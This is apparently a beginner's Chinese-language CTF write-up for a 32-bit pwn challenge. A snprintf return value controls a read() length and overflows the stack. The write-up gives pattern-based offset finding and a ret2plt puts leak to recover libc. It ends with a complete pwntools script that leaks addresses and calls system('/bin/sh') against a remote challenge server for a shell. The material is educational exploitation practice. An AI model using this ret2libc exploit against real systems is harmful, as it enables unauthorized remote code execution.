学pwn萌新,欢迎交流赐教~
我传了github上 pwn2就是题目了。( 若有侵权,请博客留言立马删除)
https://github.com/staticStr/ForCTF/blob/master/pwn2
功能很简单,输入名字,职业,就会问你是否要修改,填Y修改,写一个新的进去。
ida打开分析一波,顺手把变量名能改就改了,分析看图吧。
从图里看到了溢出点,是read函数的参数nbytes可控,溢出s变量。
那如何控制nbytes呢?
nbytes是snprintf函数的返回值,我们看一下snprintf这个函数。
snprintf这个函数用来格式化字符串,把name和occ会填入%s %s的位置中,拼成字符串,赋给s
若拼好的字符串长度大于第二个参数限定的0x100,返回值就会变成预计写入的长度。
也就是说,若字符串把name和occ拼进去后变成了0x200长度,那么snprintf的返回值就会是0x200,若出错返回-1。
那么可以控制输入的名字和职业,控制nbytes的长度了。
那么第二个问题:
需要多长才能溢出read函数呢?
具体的需要本地搭建后用语句测试了。
但大概猜一下,预期的变量&s的长度是sp+7
下一个变量v2是sp+107
之间隔了0x100也就是256个长度,那想要溢出至少要read256长度
我们若给name和occ输入各250长度(最长各256),snprintf返回值至少是500了,也就nbytes至少是500
我们生成个300长度的测试语句,本地gdb报错调试试一下
先给name和occ各填250个任意字符,edit时选Y修改,写入300长度的语句
顺便,生成的Aa0Aa1就是测试语句,用python pattern.py create 300 即可生成
这时 gdb报错了,看看出错位置
箭头所指的就是出错地址
继续用pattern脚本计算下多少能溢出。
python pattern.py 0x6a41326a
即可算出需要277字节。我们预计大于255,实际需要277长度的padding。
问题又来了,不知道libc地址,也就不知道system函数和bin_sh函数地址。
我们需要先泄露出两个函数地址,再查询出libc地址,才能计算system函数地址。
看了导入列表,要尝试泄露puts函数和printf函数了。
构造泄露puts函数的rop链:
277个长度的padding 后面紧跟plt表中puts的地址;
再跟的函数地址是溢出点所在函数的地址,在ida中看到是0x8048637
第三个是puts函数在got表中的位置,也是我们想获得的实际的东西。
获取plt和got表中地址可以
elf = ELF('pwn2')
elf.plt['puts']
elf.got['puts']
即可获得,也可以ida里自己看。
之所以三个部分这样安排,是因为第一个是想要执行的函数,执行puts函数在plt表中静态的位置,第二个固定是本函数地址,第三个意思是执行函数的参数,也就是第三个是第一个函数puts的参数。puts用来输出puts函数在got表中的真正地址。
p32是把数字打包成0x
泄露结果如下:
泄露的puts函数got表地址是0xf75b7140
后几位140是不变的,前边会随机地址。
同理,泄露printf函数的got地址,只需要把3部分的第三部分改成printf函数的got地址
求得是0xf75b4020
重点来了,system函数和bin_sh函数地址
在线查询libc的神器!
https://libc.blukat.me/
查出来system函数偏移地址
0x03a940
查出来printf函数偏移地址
0x049020
但问题叒来了,只有偏移地址,那system真实地址呢?
由于每次是随机的,
我们必须求出来随机出的libc地址
system的实际地址等于 libc地址+system的offset
那怎么知道Libc地址呢? 靠函数泄露真实地址。
像之前puts泄露出来真实地址0xf75b7140 减去puts的offset偏移
puts的offset在线也能查到
所以上一次的libc地址是 0xf75b7140 - 0x05f140
但是下一次就变了,所以pwn的时候,需要
【1】泄露puts和printf函数地址
【2】计算libc地址,计算system和bin_sh真实地址
【3】再构造getshell的payload
偏移地址计算出来的都是不变的,只需要每次求随机就好了。
edit完一次,程序会自动进入下一个循环的。
看脚本吧
from pwn import *
elf = ELF('pwn2')
name = 'A'*250
occ = 'B' * 250
func_addr = 0x8048637
puts_offset = 0x05f140
system_offset = 0x03a940
binsh_offset = 0x15902b
payload_getaddr = 'P'*277 + p32(elf.plt['puts']) + p32(func_addr) +p32(elf.got['puts'])
#开始泄露函数地址
p = remote('123.59.138.180',20000)
p.recv()
p.sendline(name)
p.recv()
p.sendline(occ)
p.recv()
p.sendline('Y')
p.sendline(payload_getaddr)
p.recvuntil('\n\n')
puts_addr = u32(p.recv(4))
success('puts_addr:'+hex(puts_addr))
#已泄露puts地址 开始计算libc地址和system、bin_sh真实地址
libc_addr = puts_addr - puts_offset
system_addr = libc_addr + system_offset
binsh_addr = libc_addr + binsh_offset
payload_getshell = 'P'*277 + p32(system_addr) + p32(func_addr) + p32(binsh_addr)
#已计算 构造好getshell的payload 开始发送
p.recv()
p.sendline(name)
p.recv()
p.sendline(occ)
p.recv()
p.sendline('Y')
p.sendline(payload_getshell)
p.interactive()
这个脚本比较精简
运行结果:
顺便再贴个厉害的大师傅的脚本吧,字里行间有很多厉害姿势,膜师父!(侵删)
但愿我pwn能顺利入门吧